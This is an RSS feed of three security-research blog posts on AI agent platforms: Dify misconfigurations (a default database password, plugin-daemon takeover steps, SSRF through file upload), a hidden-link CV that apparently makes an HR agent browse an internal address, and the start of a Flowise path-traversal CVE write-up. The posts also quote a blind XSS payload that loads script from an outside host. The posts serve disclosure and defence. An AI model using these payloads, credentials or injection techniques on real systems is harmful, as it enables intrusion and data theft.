<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Dor Attias on Medium]]></title>
        <description><![CDATA[Stories by Dor Attias on Medium]]></description>
        <link>https://medium.com/@attias.dor?source=rss-2cc3bc1e8a9d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*LqTQXAJikAbp8wUGF4AViQ.jpeg</url>
            <title>Stories by Dor Attias on Medium</title>
            <link>https://medium.com/@attias.dor?source=rss-2cc3bc1e8a9d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 08:44:12 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@attias.dor/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The Burn Notice, Part 3/5 | One Simple Mistake, Thousands at Risk]]></title>
            <link>https://medium.com/@attias.dor/the-burn-notice-3-5-one-simple-mistake-thousands-at-risk-996f85fcb92f?source=rss-2cc3bc1e8a9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/996f85fcb92f</guid>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[data-security]]></category>
            <category><![CDATA[ai-agent]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Dor Attias]]></dc:creator>
            <pubDate>Mon, 10 Nov 2025 11:16:44 GMT</pubDate>
            <atom:updated>2025-11-10T11:19:14.967Z</atom:updated>
            <content:encoded><![CDATA[<h4>How Common Misconfigurations Could Lead to Massive Data Exposure</h4><h4>In The Previous Episodes</h4><p>In the second part of our series, we showcased how AI Agents introduce new attack vectors for organizations using an HR Assistant Agent as an example. Additionally, we uncovered a critical vulnerability in <strong>Flowise (</strong><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=2025-26319">CVE-2025–26319</a>) a leading AI agent development platform.</p><p><a href="https://medium.com/@attias.dor/the-burn-notice-part-2-5-ai-agents-when-everything-becomes-an-attack-surface-bbcece386f02">The Burn Notice, Part 2/5 | AI Agents: When Everything Becomes an Attack Surface</a></p><h3>TL;DR</h3><p>In this post, we’re covering one of the most popular agentic workflow development platforms — <a href="https://dify.ai/">Dify</a>. <br>We’ll show how simple misconfigurations can lead to the theft of critical enterprise assets, and just how common these misconfigurations actually are.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-6vWPzE7LTqwjRoLrg_R_Q.png" /></figure><p><strong><em>Disclaimer:</em></strong><em> The issues discussed in this post aren’t vulnerabilities in the traditional sense. They’re common misconfigurations that appear across thousands of deployments because the product doesn’t sufficiently emphasize the importance of changing default secrets and properly configuring services.</em></p><h3>The platform</h3><p>Dify is an open-source platform designed to simplify the development and management of AI applications. It offers a user-friendly interface that lets both developers and non-technical users create, deploy, and manage AI-driven solutions with ease.</p><p>Dify is incredibly popular — it has roughly <strong>120,000</strong> stars on GitHub, millions of downloads from DockerHub, and thousands of organizations using it, including major enterprises like Volvo, Thermo Fisher, Panasonic, and Maersk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GInxvm4UKtAWYdbP-HxV9Q.png" /><figcaption>Logos From dify.ai Website</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fzDNiaPqTk4NUVU3JDYbUg.png" /><figcaption>Repository from Github</figcaption></figure><h4>Building AI Applications</h4><p>Dify offers various ways to build AI applications, including Workflows, Chatbots, Agents, and more. <br>Users can either create applications from scratch by selecting their own tools, models, and knowledge connectors, or choose from predefined agents in the marketplace. Building from scratch is straightforward thanks to the drag-and-drop interface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cXIzJRE9iM4sh0SyGFkGbg.png" /><figcaption>Example Agent — Bug Tracking Agent with tool calling capabilities</figcaption></figure><p>Users can use Dify’s platform in different ways — through Dify’s Cloud or local deployment (either building from source or using the pre-made Docker image). <br>In this research, I mainly focused on local deployments. I found that certain misconfigurations keep appearing across real-world instances, including at large enterprises, putting those organizations and their critical assets at risk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/0*5cRShK5nPOOpKNkq.jpg" /></figure><h3>Misconfiguration #1. Default API-Keys and Secrets</h3><p>In local Dify installations — whether you’re building the product from the source or using the pre-made Docker image, some services are exposed to the public.</p><p>Building Dify from source requires setting up several services, this is done by launching Docker containers from a docker-compose file called docker-compose.middleware.yaml.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VwWBL-bL2bIYIOUixO9SiQ.png" /></figure><p>Looking at the docker-compose file, you can see that some services are exposed to the host machine (and potentially to the public).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AwnPXai28uKZr9Ik0YU-Jw.png" /></figure><h4>What’s the problem?</h4><p>Dify, like most products, ships with different API keys and secrets for different services. <br>But there’s a problem: most of these keys and secrets aren’t generated during installation — they’re static and hard-coded — and nothing forces users to change them during setup. <br>This leads to the unfortunate situation where most servers end up keeping the default API keys and secret values, which are publicly known.</p><p>To verify if this is actually a problem in the real-world, I picked two services and checked their statistics across public servers.</p><ul><li>dbService — Runs PostgreSQL and hosts the database that manages everything Dify needs in order to to run.<br> <br>Dify’s default password for the postgres user is difyai123456. <br>I randomly tested 20 servers to see how many kept the default password— turns out <strong>70% of them were still using it.</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5GaEypqZjc2F97dDAgBL0A.png" /></figure><ul><li>plugin-deamon — This service manages the plugins used by Dify (like the GitHub addon and web search tool) and handles communication with LLM models. <br>The next section covers this service in more detail, including how it can be exploited and some statistics.</li></ul><h4>How can attacker abuse this misconfigurations?</h4><p>Each one of the services, if compromised, has the potential to let an attacker compromise the entire Dify instance. The fact that some of these services use default secrets and API keys (which are publicly known) makes them easy targets.</p><p>While I’m not going to cover every service, I will take a closer look at one in particular: <em>plugin-daemon</em>.</p><h4><strong>plugin-deamon service takeover</strong></h4><p><a href="https://github.com/langgenius/dify-plugin-daemon">Dify Plugin Daemon</a> is a service that manages the lifecycle of plugins. <br>It’s written mostly in Go and exposes two interfaces:</p><ul><li>HTTP interface on port <em>5002</em> (used by the main Dify API server to install plugins, invoke LLM model queries, and more)</li><li>TCP interface on port <em>5003</em> (for remote plugin installation)</li></ul><p>While there are also some issues with the TCP interface, we’re going to focus on the HTTP interface running on port 5002.</p><p>The HTTP interface is defined in the http_server.go file. The server starts by defining some base routes (/e, /plugin:tenant_id, /debug/pprof, /backwards-invocation), then adds sub-routes under each one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mjrF2Uz1KDJ7kWWfUD44oQ.png" /></figure><p>All routes except /health/check and /e require authentication. <br>The server enforces this by calling the CheckingKey function, which compares the X-Api-Key header value with the SERVER_KEY variable in the configuration — a configuration that, as I mentioned earlier, usually stays at its default, publicly known value.</p><p>Assuming the SERVER_KEY is at its default value — how can attackers take over this service? They can abuse the legitimate plugin upload and installation mechanism with the following steps:</p><p><strong><em>Step 1 — creating a malicious plugin<br></em></strong>One can create a plugin with malicious tool using Dify’s official dify-plugin dev binary. I’ll skip the boring details and focus on what matters:</p><p>when initializing a tool project, the creator (or attacker) provides some basic info like author name and tool description. <br>Then they choose the template type (tool / llm / tts / ..), when selecting “tool,” the binary generates a folder with several files, including the actual plugin logic and a main.py file as the entry point.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d--1Ah6HTHpFzqcDXD4ppg.png" /></figure><p>You don’t need to be a genius to make this plugin malicious — just modify the main.py file, add your payload on initialization, and you’re done.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fk4_rR2Co15kp02mAbaXjQ.png" /></figure><p>To wrap things up, I use once again the dify-plugin dev binary to make the plugin a package, and that’s it — your plugin is ready</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*frMw-IyoCeYfCqNAvTM2qQ.png" /></figure><p><strong><em>step 2 — Upload the malicious plugin package<br></em></strong>To upload the malicious plugin, an attacker can use the route /plugin/:tenant_id/management/install/upload/package.</p><p>The function handling this request extracts the tenant_id from the URI, along with the package file and a parameter called verify_signature. <br>In the default configuration, the function checks that the package is signed with Dify’s key — which is weird, because apparently, anyone can create a signed package using the dify-plugin dev binary.</p><p>After that, the function writes the package to disk and adds a record to the database with all the plugin information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1CPXBW57A8k-s4V6gkhrfQ.png" /></figure><p><strong><em>Step 3 — Installing the plugin<br></em></strong>To install the uploaded plugin, you need to send another HTTP request to /plugin/:tenant_id/management/install/identifiers.</p><p>The function handling this request grabs the unique identifier from the JSON body — if a plugin with that identifier exists in the database (which we just registered in step 2), the system installs and loads the plugin, essentially running our malicious main.py code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sbKGJe9F9AmYggNk0dN0QA.png" /></figure><p>The result? Arbitrary code execution on the plugin-daemon container.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uvhIgraPlBNbWrFfQyOZXw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/0*-t6qkgFkowaTPeMl.jpg" /></figure><h4>Prerequisites</h4><p>To exploit this misconfiguration, the target instance needs to have some of these ports open (PostgreSQL, Redis, plugin-daemon) and be using the default API keys and secrets. <br>Additionally, to exploit the plugin-daemon service specifically, the attacker needs to know a valid tenant_id value — which can be retrieved from any chat or agent instance without authentication.</p><h3>Misconfiguration #2. SSRF Proxy</h3><p>One of the features that comes with chatbots and agent workflows is the ability to upload files. This is essential for lots of use cases — from uploading CVs to submitting bug reports and many more use-cases.</p><p>When setting up this feature, the creator picks which file extensions are allowed and where users can upload from: either their local computer or a remote URL. By default, both sources are enabled</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YVC_7vMgnOJrddLJXYWLEA.png" /></figure><p>In local deployments (Docker and built from source), Dify comes with an ssrf-proxy service. <br>As the name suggests, this service is meant to prevent users from uploading files from unwanted networks. <br>The problem? Almost no one sets it up properly, and by default it doesn’t actually prevent SSRFs. This means attackers can “upload” files from the enterprise’s internal network, potentially extracting critical assets.</p><p>Oh, and there’s another problem. Remember that setting to block unwanted file extensions? It’s really easy to bypass.</p><p>I’ll spare you the technical details, but here’s how it works: when someone uploads a file, an HTTP request is sent to /api/remote-files/upload with a JSON payload containing the remote URL they want to upload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LVMGMxu-4CboxVk4gnyT7w.png" /></figure><p>And the response? contains a file-preview link that when accessing to — you’ll get the content of the uploaded file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*39LsJc8Sb9Dx_6MB4QcZ9Q.png" /></figure><h4><strong>How can attacker abuse this misconfiguration?</strong></h4><p>An attacker can exploit this misconfiguration to run a full network scan on the victim’s internal Docker network, essentially turning Dify’s server into a scanning proxy. They’ll be hunting for vulnerable web applications or critical assets accessible via HTTP requests.</p><p>That said, there are some limitations to this bug:</p><ul><li>Attackers can only send HTTP GET requests</li><li>Attackers can’t manipulate the headers</li><li>Scanning an entire network (every IP address across all 65,535 ports) would take forever</li></ul><p>To speed things up and increase their chances of success, attackers could target specific services that respond to HTTP GET requests on well-known ports (like Grafana on port 3000), or services that contain specific paths revealing they’ve found their target (for example, GitLab has the /explore/groups.json path).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gaaHFmCEwH5B0k-WYBa7fQ.png" /></figure><h4><strong>Statistics</strong></h4><p>A quick scan found roughly <strong>25K</strong> servers running Dify. <br>I randomly picked 20 servers to test how many were misconfigured.</p><p>The results were pretty shocking — around <strong>90%</strong> of the servers I checked weren’t set up with proper SSRF prevention in their Squid proxy, and I could access their internal services.</p><p>This brings up an interesting question: who’s actually responsible here? The provider has given users a way to lock things down, and sometimes accessing internal IPs is totally legitimate and part of how the product works. But the fact that so many users have their stuff exposed means the risk probably wasn’t explained clearly enough.</p><h4>Prerequisites</h4><p>To abuse this misconfiguration, an attacker just needs to find a chat interface — that’s all it takes to grab the “anonymous user” authorization key and start scanning the victim’s internal network.</p><h4>Summary and Call To Action</h4><p>Dify is a great product with an overall excellent level of security. That being said, some common misconfigurations put organizations using it at high risk, and they should take this into account.</p><ul><li>Make sure only necessary services are exposed to the public (ideally, only nginx should be publicly accessible)</li><li>Review your Dify instance configuration and verify that the following variables aren’t set to their defaults: <br>- DB_PASSWORD<br>- REDIS_PASSWORD<br>- PLUGIN_DAEMON_KEY<br>- INNER_API_KEY_FOR_PLUGIN</li><li>Ensure the ssrf_proxy service (Squid service) is configured properly — modify /etc/squid/squid.conf to meet your security requirements</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=996f85fcb92f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Burn Notice, Part 2/5 | AI Agents: When Everything Becomes an Attack Surface]]></title>
            <link>https://medium.com/@attias.dor/the-burn-notice-part-2-5-ai-agents-when-everything-becomes-an-attack-surface-bbcece386f02?source=rss-2cc3bc1e8a9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/bbcece386f02</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[ai-agent]]></category>
            <category><![CDATA[flowise]]></category>
            <dc:creator><![CDATA[Dor Attias]]></dc:creator>
            <pubDate>Thu, 06 Mar 2025 14:21:41 GMT</pubDate>
            <atom:updated>2025-03-08T10:41:00.916Z</atom:updated>
            <content:encoded><![CDATA[<h4>We Manipulated an HR Agent to Betray Its Own Organization and Discovered a Critical Vulnerability in The Process (CVE-2025–26319)</h4><h3>In The Previous Episodes</h3><p>In the first blog of the series, we explored Copilot Studio and demonstrated a technique that can quickly uncover hidden agents on the platform. Additionally, we showed how we <strong>extracted data from multi-billion-dollar companies</strong>.</p><p><a href="https://medium.com/@attias.dor/the-burn-notice-part-1-5-revealing-shadow-copilots-812def588a7a">The Burn Notice, Part 1/5 — Revealing Shadow Copilots</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h8oBTfqHu2-LcxpoyAm-Dw.png" /></figure><h3>TL;DR</h3><p>In the second part of our series, we demonstrate how AI agents introduce entirely new attack surfaces. We reveal how we exploited an HR agent and turned it against its own organization.</p><p>But it doesn’t stop there — during our research, we also uncovered a <strong>critical vulnerability</strong> in one of today’s most popular AI agent platforms (<strong>with over 1 million Docker pulls and 35,000+ stars on GitHub</strong>). This serves as a reminder that these systems are not only susceptible to emerging attack vectors but also remain vulnerable to well-known, classic threats.</p><h3>Software With Human-Like Capabilities</h3><p>Everyone’s talking about AI Agents.<br>Mark Zuckerberg predicts that in 2025, Meta will likely have an AI capable of coding at a mid-level engineer’s proficiency — potentially replacing human engineers over time. Meanwhile, Salesforce CEO Marc Benioff suggested that the productivity gains from AI agents might eliminate the need for new hires this year, stating, <em>“Maybe we aren’t going to hire anybody this year.”</em></p><p>And these are just a few examples. But why? What makes this technology so different from what we already have?</p><p>When ChatGPT launched in November 2022, most people had little understanding of AI — let alone LLMs or Generative AI. Yet, within months, ChatGPT became a household name, signaling that AI’s long-awaited promise was finally being fulfilled.<br>However, it was clear that AI couldn’t reach its full potential without being able to tackle real-world tasks.</p><p>This is where agents come in. They combine advanced AI capabilities with traditional software, allowing them to handle tasks autonomously and increase team productivity exponentially</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xoAJbc086qsKXF7ogwErTQ.png" /><figcaption><a href="https://www.accenture.com/nl-en/insights/data-ai/hive-mind-harnessing-power-ai-agents">Accenture Report</a></figcaption></figure><p>At this point, an astute reader might ask: Why do we need AI Agents? We already have LLMs with function-calling capabilities — isn’t it the same?<br>The answer is no, and the reason behind that is the new generation of models: the reasoning models.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m1u1KxwPNtgAegzLjYNPVg.png" /></figure><h3>I Think, Therefore I Am</h3><p>Reasoning models are a game-changer, allowing agents to make more autonomous, context-aware decisions.</p><p>Unlike basic LLMs, which process inputs based on patterns, reasoning models enable AI agents to evaluate factors, draw conclusions, and choose the best course of action.</p><p>With reasoning models, AI agents don’t just follow predetermined rules — they assess situations, consider outcomes, and make decisions in a more human-like way, making them far more effective in real-world applications.</p><p><strong>However,</strong> with great power comes great responsibility (or something like that), and without proper security measures, the flexibility and autonomy of agents can introduces great risks, and we’re about to show you just how.</p><h3>When HR Assistant Goes Rogue</h3><p>Imagine you’re an HR manager overwhelmed with tasks — going through CVs, scheduling interviews, and sending emails to candidates.</p><p>Now, picture an AI agent stepping in to handle it all.<br>The agent quickly goes through resumes based on the job description, shortlisting the best candidates in minutes, schedules interviews by checking calendars, sends personalized emails, and even books the meeting room or virtual link.</p><p>With these tasks automated, you can focus on what really matters — evaluating candidates and making decisions — making the hiring process faster and efficient.</p><p>Through our exploration, we found that HR Assistant agents are among the most widely adopted AI use cases in organizations.<br>After analyzing various implementations and looking into different solutions from the companies we engaged with, we decided to <strong>replicate</strong> one of these agents for research purposes. <br>To do this, we chose <strong>Flowise</strong>, a popular AI agent framework, which we’ll dive into in the second part of this article.</p><p>Now, let’s take a quick look at the agent’s architecture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KQiSHXee9MSEzM0huB0rvg.png" /></figure><p>The reasoning model powering this agent is <strong>OpenAI o3-mini</strong>. Its memory stores all organizational CVs, sourced from platforms like Comeet, LinkedIn, and more. The agent also has access to various tools, including <strong>email sending, meeting scheduling, and document retrieval </strong>— logically essential for HR</p><p>But why does it include a <strong>browsing tool</strong>?</p><p>According to the companies we spoke with, the answer is: <em>“For further research on a candidate”.</em> Think about it, Many CVs contains LinkedIn profiles, GitHub repositories, or links to publications (academic papers, CVEs, etc.), making real-time browsing a powerful tool for deeper evaluation.</p><h4>The daily grind</h4><p>To illustrate how this tool would be used on a day-to-day basis, let’s assume we have the following CV in our pool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nOz_S_Mwbj1-9saAR1gu5g.png" /></figure><p>One of the tasks the agent can assist with is, of course, CV screening. So, an HR employee can ask the agent for a helping hand.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8WAP7d2NZef1u0YyOlucjA.png" /><figcaption>asking the HR Assistant for help</figcaption></figure><p>Pretty cool, right? This type of agent could be incredibly useful for HR. But as we’ll demonstrate in the following paragraphs, it also comes with significant risks.</p><h4><strong>Potential attack</strong></h4><p>Imagine this scenario: a threat actor uploads a malicious CV through LinkedIn or another platform.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xT3ZHLfpetGeNP5C7_ax_w.png" /></figure><p>Nothing unusual, right?</p><p>A human reading this CV would never notice anything odd, but if you look closer, there’s something strange about this CV.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*ZhXycjz8dJ3_zzQjbI_Gjw.png" /></figure><p>As one can see, the malicious CV containing a LinkedIn link that is invisible to the naked eye and points to an <strong>internal IP address</strong> — something the threat actor should never have access to.</p><p>In addition, the CV deliberately <strong>excludes</strong> the current role, which will “force” the agent to use the browsing tool whenever the current role is requested.</p><p>Now, what do you think would happen if the HR representative submitted <strong>the exact same prompt as before</strong>?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GpwsKgnFH9_RFtSe7VcgYg.png" /></figure><p>Looks great, doesn’t seem like anything interesting happened.<br>But when we debug the agent, we can see that it triggered the browsing tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SGYeac6StpCh3ibydp1e9Q.png" /></figure><p>Now, let’s try to understand what is the Chain-Of-Thought is in the agent’s mind when it receives the above prompt from the HR employee.</p><pre><strong>[Step 1] Task Initialization  </strong><br>- Goal: Review all CVs in the candidate pool.  <br><strong><em>- Action: Begin candidate evaluation.  </em></strong><br>  <br><strong>[Step 2] Candidate Evaluation - Qualification Stage  </strong><br>- Candidate: Alex Morgan  <br>- Observation: Meets required experience criteria.  <br>- Additional Context: Currently employed at Meta.  <br><strong><em>- Decision: Mark as high-priority candidate.</em></strong>  <br><br><strong>[Step 3] Scheduling Consideration  </strong><br>- Candidate: Alex Morgan  <br><strong><em>- Action: Check calendar for availability.  </em></strong><br><br><strong>[Step 4] Scheduling Decision  </strong><br>- Candidate: Alex Morgan  <br><strong><em>- Decision: Schedule an interview on Monday at 14:30.</em></strong><br><br><strong>[Step 5] Meeting Invitation Dispatch  </strong><br>- Candidate: Alex Morgan  <br><strong><em>- Action: Send meeting invitation via email.  </em></strong><br>- Content: Interview scheduled for Monday at 14:30, including relevant details and video conferencing link.  <br><br><strong>[Step 6] Candidate Evaluation - Missing Information  </strong><br>- Candidate: John Smith  <br><strong><em>- Observation: Meets required experience criteria but lacks current employment details.  </em></strong><br><strong><em>- Decision: Supplement information using external data source.  </em></strong><br><br><strong>[Step 7] Information Retrieval Action </strong> <br>- Candidate: John Smith  <br><strong>- Action: Use browsing tool to check LinkedIn profile for current employment status.</strong></pre><p>And sure enough, if you monitor the network at the targeted IP address, you’ll see the agent sending an HTTP request to the malicious URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xuGryLuNuv9mWviY8xMttA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/0*pDtNbqT1q1KfJ9R4" /></figure><p>The impact of SSRFs could be critical — the ability to send arbitrary requests to an organization’s most critical internal systems could lead to severe consequences, especially since internal systems often tend to have fewer security measures due to a false sense of being secure.</p><p>There are many ways attackers can exploit SSRF vulnerabilities. One example is sending an HTTP request to the EC2 instance metadata service (169.254.169.254), which reveals sensitive information about the EC2 instance, including instance credentials, IAM roles, and other configuration details. (works for IMDSv1)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rzpXHVDY1PvHVFyaonxbaA.png" /></figure><p>While this example requires the response to be sent back to the attacker, there are other ways to exploit SSRFs that don’t.</p><h4>Blind Agent Detection</h4><p>A skeptic might ask, “This sounds cool, but how the hell would you know there’s an AI Agent behind the scenes?”<br>Well, that’s a great question. The answer lies in a technique similar to the ‘Blind XSS’ attack.</p><p><strong>What is Blind XSS?</strong><br>Blind XSS is a type of XSS attack where the attacker injects malicious code, but the payload’s effect isn’t immediately visible to them. Instead, the attacker relies on the system to process the payload and trigger the malicious action, often without any direct feedback.</p><p>A great example of this attack was introduced by Sam Curry in 2019. He discovered an option to change his Tesla’s vehicle name within the “Name Your Vehicle” tab, so he decided to name his vehicle “&gt;&lt;script src=//zlz.xss.ht&gt;&lt;/script&gt;.<br>After some time, his backend server received an HTTP request from Tesla’s internal service.</p><p><a href="https://samcurry.net/cracking-my-windshield-and-earning-10000-on-the-tesla-bug-bounty-program">Cracking my windshield and earning $10,000 on the Tesla Bug Bounty Program</a></p><p>We can use a similar technique to find vulnerable HR Agents in the wild. How? By sending a malicious CV to multiple companies, with an invisible LinkedIn link, as we showed earlier. However, instead of using an internal URL for exploitation, we first use a remote server that we, as the attacker, control.</p><p>After some time, if we receive an HTTP request from someone, we’ll know that we’ve found a vulnerable HR Agent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zNW7LgOgmwLYGZuxeB26YA.png" /></figure><p>So, we’ve shown that there is a blue ocean of new types of attacks and attack surfaces derived from the inherent non-determinism of AI agents. But now, let us show you that this technology doesn’t only suffer from new types of attacks, but also from well-known, classic vulnerabilities</p><h3>Flowise Pre-Auth Arbitrary File Upload (CVE-2025–26319)</h3><p><strong>Flowise</strong> is one of the most popular frameworks for agent development, offering a No-Code/Low-Code solution trusted by <strong>major customers, with over 1M Docker pulls and 35K stars on GitHub.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/389/0*wmcnHhZ541Sjys9g.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ue1EZ83ZnP-kGoIc2fdQMg.png" /><figcaption>Source: FlowiseAI homepage</figcaption></figure><p>While exploring and developing on the <strong>Flowise</strong> platform, we uncovered a <strong>critical vulnerability</strong> that allows unauthenticated attackers to upload arbitrary files to the server hosting the agents through the “knowledge upload” feature. <strong>This vulnerability could potentially give attackers the ability to gain remote control of the entire server by uploading malicious files, scripts, config files, and even SSH keys.</strong></p><h4>POC</h4><p>With just one HTTP request, we can exploit a path traversal vulnerability by modifying the chatId parameter. As observed, authentication is not required. In this example, we overwrite the api.json file, which contains the system&#39;s API keys.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/0*TA3Kx69YU3jaDJWh" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/0*SLuBohRKfK4SzAgn" /></figure><p>Controlling the API keys gives attackers the ability to perform any operation with full permissions, which could lead to compromising the entire agents, data leakage, and stealing all external API keys (e.g., OpenAI, Claude, etc.)</p><p><strong>For technical readers who want to dive into the full details of the vulnerability, we’ve published an article at this link.</strong></p><p><a href="https://medium.com/@attias.dor/the-burn-notice-part-2-5-5-flowise-pre-auth-arbitrary-file-upload-cve-2025-26319-0d4194a34183">The Burn Notice, Part 2.5/5 | Flowise Pre-Auth Arbitrary File Upload (CVE-2025–26319)</a></p><h3>Conclusion</h3><p>AI agents without proper security measures are a double-edged sword. On one hand, they offer significant opportunities to enhance productivity and drive innovation. <br>On the other hand, their inherent non-determinism, combined with their ability to invoke powerful tools and access an organization’s most critical assets, introduces entirely new attack surfaces — distinct from traditional cyber threats.</p><p>Moreover, these technologies are not only vulnerable to novel attack vectors but also susceptible to conventional threats, as demonstrated above. To explore the details of Flowise’s vulnerability and learn how to safeguard your organization, check out the blog post linked above.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bbcece386f02" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Burn Notice, Part 2.5/5 | Flowise Pre-Auth Arbitrary File Upload (CVE-2025–26319)]]></title>
            <link>https://medium.com/@attias.dor/the-burn-notice-part-2-5-5-flowise-pre-auth-arbitrary-file-upload-cve-2025-26319-0d4194a34183?source=rss-2cc3bc1e8a9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/0d4194a34183</guid>
            <category><![CDATA[cve-2025-26319]]></category>
            <category><![CDATA[vulnerability-research]]></category>
            <category><![CDATA[flowise]]></category>
            <category><![CDATA[ai-agent]]></category>
            <dc:creator><![CDATA[Dor Attias]]></dc:creator>
            <pubDate>Thu, 06 Mar 2025 14:20:05 GMT</pubDate>
            <atom:updated>2025-03-06T14:20:05.969Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Atj9FEZsffGf66-a5yAKwQ.png" /></figure><p><a href="https://flowiseai.com/">Flowise</a>, a widely-used open-source no-code/low-code platform that simplifies the creation of AI agents without requiring advanced technical skills. It offers a drag-and-drop interface to effortlessly configure knowledge bases, tools, and models.<br>Flowise has over <strong>35K stars and 1M+ Docker pulls</strong>, with users ranging from SMBs to large enterprises.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*Ue1EZ83ZnP-kGoIc2fdQMg.png" /></figure><h3>Flowise Pre-Auth Arbitrary File Upload (CVE-2025–26319)</h3><p>While exploring AI agent development using the Flowise platform, we discovered a critical vulnerability that allows unauthenticated attackers to upload arbitrary files to the server hosting the agents via the ‘knowledge upload’ feature. This flaw could enable attackers to gain remote control of the entire server by uploading malicious files, scripts, configuration files, and even SSH keys.</p><h4>Technical Details</h4><p>In the Flowise system, certain APIs are intentionally left accessible without authentication and are categorized under whitelistURLs</p><pre>export const WHITELIST_URLS = [<br>    &#39;/api/v1/verify/apikey/&#39;,<br>    &#39;/api/v1/chatflows/apikey/&#39;,<br>    &#39;/api/v1/public-chatflows&#39;,<br>    &#39;/api/v1/public-chatbotConfig&#39;,<br>    &#39;/api/v1/prediction/&#39;,<br>    &#39;/api/v1/vector/upsert/&#39;,<br>    &#39;/api/v1/node-icon/&#39;,<br>    &#39;/api/v1/components-credentials-icon/&#39;,<br>    &#39;/api/v1/chatflows-streaming&#39;,<br>    &#39;/api/v1/chatflows-uploads&#39;,<br>    &#39;/api/v1/openai-assistants-file/download&#39;,<br>    &#39;/api/v1/feedback&#39;,<br>    &#39;/api/v1/leads&#39;,<br>    &#39;/api/v1/get-upload-file&#39;,<br>    &#39;/api/v1/ip&#39;,<br>    &#39;/api/v1/ping&#39;,<br>    &#39;/api/v1/version&#39;,<br>    &#39;/api/v1/attachments&#39;,<br>    &#39;/api/v1/metrics&#39;<br>]</pre><p>When a new request is received by the server, the system checks whether the URL is included in the whitelist. If the URL is whitelisted, the request proceeds; otherwise, the system requires authentication</p><pre>// @ /packages/server/src/index.ts<br><br>this.app.use(async (req, res, next) =&gt; {<br>    // Step 1: Check if the req path contains /api/v1 regardless of case<br>    if (URL_CASE_INSENSITIVE_REGEX.test(req.path)) {<br>        // Step 2: Check if the req path is case sensitive<br>        if (URL_CASE_SENSITIVE_REGEX.test(req.path)) {<br>            // Step 3: Check if the req path is in the whitelist<br>            const isWhitelisted = whitelistURLs.some((url) =&gt; req.path.startsWith(url))<br>            if (isWhitelisted) 